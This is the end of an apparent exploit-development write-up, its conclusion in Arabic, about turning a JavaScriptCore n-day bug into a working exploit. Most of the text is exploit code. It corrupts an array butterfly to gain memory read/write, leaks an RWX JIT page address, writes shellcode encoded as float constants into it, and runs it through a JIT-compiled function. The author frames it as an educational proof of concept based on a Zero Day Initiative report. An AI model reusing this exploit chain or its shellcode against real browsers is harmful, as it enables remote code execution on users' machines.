setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])

print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229

print("[+] Executing Shellcode...")

jitMe([13.37],[13.37])
`

eval(postTrigger)                 

أخيرًا، فيديو للثغرة أثناء العمل!

الخاتمة

آمل أن يوضح هذا كيف يمكنك أخذ ثغرة من نوع JSC n-day وتطوير استغلال لها. لقد استفدت من وجود تقرير Zeroday Initiative. بينما استخدمت هذا التقرير أثناء كتابة الاستغلال، حاولت فقط أخذ الأفكار الرئيسية وتنفيذها بنفسي دون النظر إلى التقرير.

هذا الاستغلال هو مجرد دليل على المفهوم وليس بقوة ما يمكن أن يكون. على الرغم من أنني لم أواجه أي محاولات فاشلة، إلا أن هناك دائمًا عمل يمكن القيام به لتحسينه. نظرًا لأنني قمت بذلك كتجربة تعليمية، لم أتكبد عناء جعل الاستغلال قويًا قدر الإمكان.

تنزيل الأداة